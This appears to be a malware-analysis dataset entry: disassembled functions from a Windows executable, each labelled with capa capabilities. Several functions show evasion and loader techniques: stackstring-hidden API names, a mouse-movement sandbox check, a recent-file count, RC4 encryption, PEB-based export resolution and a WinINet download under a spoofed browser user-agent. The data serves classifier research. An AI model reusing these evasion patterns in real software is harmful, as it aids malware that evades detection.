joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001f00
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140001f2d
xor eax, eax
jmp 0x140002099
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140001f67
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140001f67
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140002099
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14000208c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140001faa
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140001fd5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002091
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140002044
sub eax, 1
je 0x140002044
cmp eax, 2
jne 0x14000208c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002091
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140002072
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14000208c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140002091
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140002b70
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x1400024e0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x1400025b3
cmp byte [rcx + 0x71], 0
je 0x1400025b3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x1400025af
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140002574
sub eax, 1
je 0x140002578
cmp eax, 2
jne 0x1400025af
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140002b70
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x1400025a6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x1400025af
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000255c
xor al, al
jmp 0x14000255c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140002b70
add rsp, 0x60
pop rbx
ret

Function at 0x1400034f0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000353a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000353a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000353a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000353a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000353a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000353c
xor al, al
add rsp, 0x28
ret
Function at 0x14000a904
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14000a97b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x14000a97b
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, eax
add rcx, rbx
and edi, 0xf
jbe 0x14000a968
cmp rbx, rcx
jae 0x14000a97b
movzx eax, word [rbx]
lea rbx, [rbx + rax*2]
add rbx, 2
add edi, 0xffffffff
jne 0x14000a953
cmp rbx, rcx
jae 0x14000a97b
movzx eax, word [rbx]
neg ax
sbb rax, rax
and rax, rbx
jmp 0x14000a97d
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14000bff0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x220
mov r14, r8
mov ebp, edx
mov r15, rcx
mov esi, 0x100
xor edi, edi
lea rcx, [rax - 0x118]
mov r8d, esi
xor edx, edx
mov ebx, edi
call fcn.1401b12f0
mov r8d, esi
lea rcx, [rsp + 0x20]
xor edx, edx
call fcn.1401b12f0
mov r8d, edi
lea r11d, [rdi + 1]
mov edx, edi
mov eax, r8d
mov byte [rsp + rdx + 0x20], r8b
and eax, 0x7f
add r8d, r11d
mov al, byte [rax + r14]
mov byte [rsp + rdx + 0x120], al
add rdx, r11
cmp r8d, esi
jl 0x14000c045
mov rdx, rdi
mov r14d, 0xffffff00
movzx eax, byte [rsp + rdx + 0x120]
movzx r8d, byte [rsp + rdx + 0x20]
add ebx, eax
add ebx, r8d
and ebx, 0x800000ff
jge 0x14000c093
sub ebx, r11d
or ebx, r14d
add ebx, r11d
movsxd rcx, ebx
mov al, byte [rsp + rcx + 0x20]
mov byte [rsp + rdx + 0x20], al
add rdx, r11
mov byte [rsp + rcx + 0x20], r8b
sub rsi, r11
jne 0x14000c06f
mov edx, edi
test ebp, ebp
je 0x14000c10e
mov r10, rbp
lea eax, [rdi + 1]
and eax, 0x800000ff
jge 0x14000c0c7
sub eax, r11d
or eax, r14d
add eax, r11d
movsxd rdi, eax
movzx r9d, byte [rsp + rdi + 0x20]
add edx, r9d
and edx, 0x800000ff
jge 0x14000c0e4
sub edx, r11d
or edx, r14d
add edx, r11d
movsxd rcx, edx
mov al, byte [rsp + rcx + 0x20]
mov byte [rsp + rdi + 0x20], al
mov byte [rsp + rcx + 0x20], r9b
movzx ecx, byte [rsp + rdi + 0x20]
add rcx, r9
movzx eax, cl
mov cl, byte [rsp + rax + 0x20]
xor byte [r15], cl
add r15, r11
sub r10, r11
jne 0x14000c0b4
lea r11, [rsp + 0x220]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
Function at 0x14000c2f8
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x3d8]
sub rsp, 0x4d0
xor ebx, ebx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rbx + 0x10]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x14000c4af
mov edi, ebx
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea rax, [rsp + 0x70]
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], bx
jne 0x14000c357
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.14000d92c
nop
mov r8d, 2
lea rdx, [0x14024235c]
lea rcx, [rsp + 0x50]
call fcn.14000dc9c
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rcx, qword [rsp + 0x30]
lea rdx, [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rsi, rax
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x14000c41c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c417
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c4d0
call fcn.14000a994
movdqa xmm0, xmmword [0x140243130]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], bx
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x14000c46d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c468
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c4ca
call fcn.14000a994
movdqa xmm0, xmmword [0x140243130]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], bx
cmp rsi, 0xffffffffffffffff
je 0x14000c4af
inc edi
lea rdx, [rbp + 0x180]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x14000c486
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
cmp edi, 0xa
setg bl
mov eax, ebx
jmp 0x14000c4b1
xor eax, eax
lea r11, [rsp + 0x4d0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.1401b9624
nop
call fcn.1401b9624
nop
int3
Function at 0x14000c4fc
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x40
and qword [rsp + 0x28], 0
lea r8, [0x14000c4d8]
and dword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
and qword [rbp + 0x20], rbx
mov qword [rbp + 0x28], rbx
call fcn.1400132a4
mov rdi, rax
call fcn.140013288
cmp rdi, 0x989680
jne 0x14000c559
imul rdi, rax, 0x64
jmp 0x14000c57a
cqo
idiv rdi
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
mov rdi, rax
imul rax, rcx, 0x3b9aca00
add rdi, rax
lea rcx, str.user32.dll
mov dword [rbp - 0x10], 0x43746547
mov dword [rbp - 0xc], 0x6f737275
mov dword [rbp - 8], 0x736f5072
mov byte [rbp - 4], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp + 0x20]
call rax
mov ecx, dword [rbp + 0x2c]
test ebx, ebx
jne 0x14000c5be
test ecx, ecx
je 0x14000c5dc
mov eax, dword [rbp + 0x20]
sub eax, ebx
cdq
xor eax, edx
sub eax, edx
cmp eax, 5
jg 0x14000c635
mov eax, dword [rbp + 0x24]
sub eax, ecx
cdq
xor eax, edx
sub eax, edx
cmp eax, 5
jg 0x14000c635
mov rbx, qword [rbp + 0x20]
mov qword [rbp + 0x28], rbx
call fcn.1400132a4
mov rsi, rax
call fcn.140013288
cmp rsi, 0x989680
jne 0x14000c600
imul rax, rax, 0x64
jmp 0x14000c61e
cqo
idiv rsi
mov rcx, rax
imul rax, rdx, 0x3b9aca00
imul rcx, rcx, 0x3b9aca00
cqo
idiv rsi
add rax, rcx
sub rax, rdi
movabs rcx, 0x12a05f200
cmp rax, rcx
jge 0x14000c642
jmp 0x14000c57a
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
mov ecx, 1
call fcn.1401b5780
int3
Function at 0x14000c650
Capabilities:
Contain obfuscated stackstrings
Reference http user-agent string

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x8d928]
mov eax, 0x8da10
call fcn.140014150
sub rsp, rax
mov rsi, rcx
mov dword [rsp + 0x30], 0x65746e49
lea r15, str.wininet.dll
mov dword [rsp + 0x34], 0x74656e72
mov rcx, r15
mov dword [rsp + 0x38], 0x6e65704f
mov rdi, rdx
mov word [rsp + 0x3c], 0x41
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movdqa xmm0, xmmword [str.InternetOpenUrlAInternetReadFile]
mov rcx, r15
movdqu xmmword [rsp + 0x40], xmm0
mov rbx, rax
mov byte [rsp + 0x50], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movdqa xmm0, xmmword [0x140243160]
mov rcx, r15
movdqu xmmword [rsp + 0x58], xmm0
mov r14, rax
mov byte [rsp + 0x68], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
and dword [rsp + 0x20], 0
lea rcx, str.Mozilla_5.0__Windows_NT_10__Win64__x64__rv:83.0__Gecko_20100101_Firefox_83.0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov r15, rax
call rbx
test rax, rax
je 0x14000c795
and qword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x80000000
mov rdx, rsi
mov rcx, rax
call r14
mov rbx, rax
test rax, rax
je 0x14000c795
mov esi, 0x8d9a0
lea rcx, [rsp + 0x70]
mov r8d, esi
xor edx, edx
call fcn.1401b12f0
lea r9, [rbp + 0x8d940]
mov r8d, esi
lea rdx, [rsp + 0x70]
mov rcx, rbx
call r15
test eax, eax
je 0x14000c795
mov r8d, esi
lea rdx, [rsp + 0x70]
mov rcx, rdi
call fcn.1401b0c30
lea r11, [rsp + 0x8da10]
xor eax, eax
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14000cdd4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
mov qword [rax + 8], rcx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rbx, rcx
call fcn.140011db0
xor ecx, ecx
mov r9, rax
movsxd rdx, dword [rax + 0x3c]
mov r8d, dword [rdx + rax + 0x88]
add r8, rax
mov edx, dword [r8 + 0x1c]
mov ebp, dword [r8 + 0x20]
add rdx, rax
mov r15d, dword [r8 + 0x24]
add rbp, rax
mov r13d, dword [r8 + 0x14]
add r15, rax
mov r12d, dword [r8 + 0x18]
test r13d, r13d
je 0x14000ce94
cmp dword [rdx], 0
je 0x14000ce89
mov r14d, dword [rdx]
xor r11d, r11d
test r12d, r12d
je 0x14000ce89
mov rdi, rbp
mov r8, r15
movzx eax, word [r8]
cmp eax, ecx
jne 0x14000ce79
mov eax, dword [rdi]
mov rsi, rbx
add rax, r9
sub rsi, rax
movzx r10d, byte [rax]
movzx ebx, byte [rax + rsi]
sub r10d, ebx
jne 0x14000ce6f
inc rax
test ebx, ebx
jne 0x14000ce5b
test r10d, r10d
je 0x14000ceb3
mov rbx, qword [rsp + 0x50]
inc r11d
add r8, 2
add rdi, 4
cmp r11d, r12d
jb 0x14000ce48
inc ecx
add rdx, 4
cmp ecx, r13d
jb 0x14000ce32
xor eax, eax
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
lea rax, [r14 + r9]
jmp 0x14000ce96

Function at 0x14000e07c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, dx
jmp method.CDialog.virtual_720
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov qword [rcx + 0xf0], rdx
mov rbp, r8
mov rdi, rdx
mov rbx, rcx
cmp rdx, 0x10000
jae 0x14002971f
cmp dword [rcx + 0xe8], 0
jne 0x14002971f
movzx eax, dx
mov dword [rcx + 0xe8], eax
call fcn.14003ebf4
mov r8d, 5
mov rdx, rdi
mov rsi, qword [rax + 0x18]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x140029763
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140029763
mov r9, rsi
mov r8, rbp
mov rdx, rax
mov rcx, rbx
call fcn.140029a98
jmp 0x140029765
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x14000e2c4
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rdx
lea r8, [rcx + 0x198]
mov rbx, rcx
mov edx, 0x3e8
mov rcx, rdi
call fcn.14003d748
lea r8, [rbx + 0x280]
mov edx, 0x3f6
mov rcx, rdi
call fcn.14003d748
lea r8, [rbx + 0x178]
mov edx, 0x3f6
mov rcx, rdi
call fcn.1400339f4
lea r8, [rbx + 0x180]
mov edx, 0x3f8
mov rcx, rdi
call fcn.1400339f4
lea r8, [rbx + 0x188]
mov edx, 0x3f9
mov rcx, rdi
call fcn.1400339f4
lea r8, [rbx + 0x190]
mov edx, 0x3fa
mov rcx, rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp fcn.1400339f4

Function at 0x140011db0
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov rax, qword [rax]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
ret
Function at 0x140014448
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140014492
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140014492
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140014492
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140014492
cmp dword [rcx + 0x84], 0xe
jbe 0x140014492
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140014494
xor al, al
add rsp, 0x28
ret

Function at 0x140027b84
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x50
mov rdi, r9
mov rbx, r8
and qword [r9], 0
mov r14, qword [rbp + 0x40]
and dword [r14], 0
cmp qword [rcx + 0xb0], 0
je 0x140027c5c
xor r8d, r8d
call fcn.140027ffc
mov rsi, rax
test rax, rax
je 0x140027d0b
mov qword [rbp - 0x20], rsi
and dword [rbp - 0x18], 0
and qword [rbp - 0x10], 0
and dword [rbp + 0x20], 0
and dword [rbp + 0x40], 0
lea rax, [rbp + 0x40]
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x20]
xor r8d, r8d
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rbp + 0x40]
mov dword [r14], ecx
test eax, eax
jne 0x140027c40
call fcn.14000a99c
mov qword [rdi], rax
lea rcx, [rbp + 0x40]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x20]
xor r8d, r8d
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140027c40
lea ebx, [rax + 1]
jmp 0x140027c4e
mov rcx, qword [rdi]
call fcn.14000a994
and qword [rdi], 0
xor ebx, ebx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140027d09
mov rax, qword [rcx]
and qword [rsp + 0x20], 0
mov r9, rbx
mov r8, rdx
lea rdx, [rbp + 0x40]
mov rax, qword [rax + 0x108]
call qword [case.0x1400bdccd.0]
nop
mov rax, qword [rbp + 0x40]
mov ecx, dword [rax - 0x10]
test ecx, ecx
jne 0x140027c8c
xor ebx, ebx
jmp 0x140027ce8
shr ecx, 1
mov dword [r14], ecx
call fcn.14000a99c
mov qword [rdi], rax
xor r8d, r8d
lea ebx, [r8 + 1]
cmp dword [r14], r8d
jbe 0x140027ce4
lea ecx, [r8 + r8]
lea edx, [rcx + 1]
test edx, edx
js 0x140027d20
mov rax, qword [rbp + 0x40]
cmp edx, dword [rax - 0x10]
jg 0x140027d20
movsxd r9, ecx
movzx edx, word [rax + r9*2 + 2]
test ecx, ecx
js 0x140027d20
cmp ecx, dword [rax - 0x10]
jg 0x140027d20
shl dl, 4
sub dl, 0x51
add dl, byte [rax + r9*2]
mov rax, qword [rdi]
mov byte [r8 + rax], dl
add r8d, ebx
cmp r8d, dword [r14]
jb 0x140027ca5
mov rax, qword [rbp + 0x40]
lea rdx, [rax - 0x18]
or ecx, 0xffffffff
lock xadd dword [rdx + 0x10], ecx
sub ecx, 1
jg 0x140027d09
mov rcx, qword [rdx]
mov r8, qword [rcx]
mov rax, qword [r8 + 8]
call qword [case.0x1400bdccd.0]
mov eax, ebx
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
mov ecx, 0x80070057
call fcn.14000a8e4
int3
Function at 0x140027d2c
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
cmp qword [rcx + 0xb0], 0
mov edi, r9d
mov rbx, r8
mov rax, rdx
je 0x140027da7
xor r8d, r8d
call fcn.140027ffc
mov rsi, rax
test rax, rax
je 0x140027da3
lea rax, [rsp + 0x50]
mov dword [rsp + 0x50], 4
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x34]
lea rax, [rsp + 0x30]
xor r8d, r8d
mov rdx, rbx
mov qword [rsp + 0x20], rax
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x140027da3
mov eax, dword [rsp + 0x30]
jmp 0x140027dbd
mov eax, edi
jmp 0x140027dbd
mov r9, qword [rcx + 0xd8]
mov r8d, edi
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x140027dd0
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f68]
mov eax, 0x2068
call fcn.140014150
sub rsp, rax
mov rax, qword [0x140278040]
xor rax, rsp
mov qword [rbp + 0x1f50], rax
mov r12, r9
mov r10, r8
mov rdi, rdx
mov r14, qword [rbp + 0x1fd0]
mov qword [rsp + 0x38], rdx
xor r13d, r13d
cmp qword [rcx + 0xb0], r13
je 0x140027f7d
xor r8d, r8d
mov rdx, r10
call fcn.140027ffc
mov rsi, rax
test rax, rax
jne 0x140027e43
mov rdx, r14
jmp 0x140027fb5
call fcn.14002aff8
mov rcx, rax
test rax, rax
je 0x140027fee
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
call qword [case.0x1400bdccd.0]
lea rbx, [rax + 0x18]
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x34], r13d
mov dword [rsp + 0x30], r13d
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
lea r9, [rsp + 0x34]
xor r8d, r8d
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov r15d, eax
test eax, eax
jne 0x140027f19
mov edx, dword [rsp + 0x30]
shr edx, 1
lea ecx, [rax + 1]
sub ecx, dword [rbx - 8]
mov eax, dword [rbx - 0xc]
sub eax, edx
or eax, ecx
jge 0x140027ec2
lea rcx, [rsp + 0x38]
call fcn.14000d538
mov rbx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x34]
xor r8d, r8d
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov r15d, eax
test rbx, rbx
jne 0x140027ef2
mov eax, r13d
jmp 0x140027f06
movsxd rdx, dword [rbx - 0xc]
mov rcx, rbx
call fcn.1401c14a0
test eax, eax
js 0x140027fe3
cmp eax, dword [rbx - 0xc]
jg 0x140027fe3
mov dword [rbx - 0x10], eax
mov eax, eax
mov word [rbx + rax*2], r13w
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test r15d, r15d
jne 0x140027f4e
lea rcx, [rbx - 0x18]
call fcn.1400113bc
add rax, 0x18
mov qword [rdi], rax
or eax, 0xffffffff
lock xadd dword [rbx - 8], eax
sub eax, 1
jg 0x140027fbd
mov rcx, qword [rbx - 0x18]
lea rdx, [rbx - 0x18]
jmp 0x140027f6e
mov rdx, r14
mov rcx, rdi
call fcn.140015380
nop
lea rdx, [rbx - 0x18]
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140027fbd
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov rax, qword [rax + 8]
call qword [case.0x1400bdccd.0]
jmp 0x140027fbd
lea r8, [0x1402426f8]
test r14, r14
cmovne r8, r14
mov rax, qword [rcx + 0xd8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x1000
lea r9, [rsp + 0x50]
mov rdx, r12
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.140015380
mov rax, rdi
mov rcx, qword [rbp + 0x1f50]
xor rcx, rsp
call fcn.140013ef0
add rsp, 0x2068
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ecx, 0x80070057
call fcn.14000a8e4
nop
mov ecx, 0x80004005
call fcn.14000a8e4
int3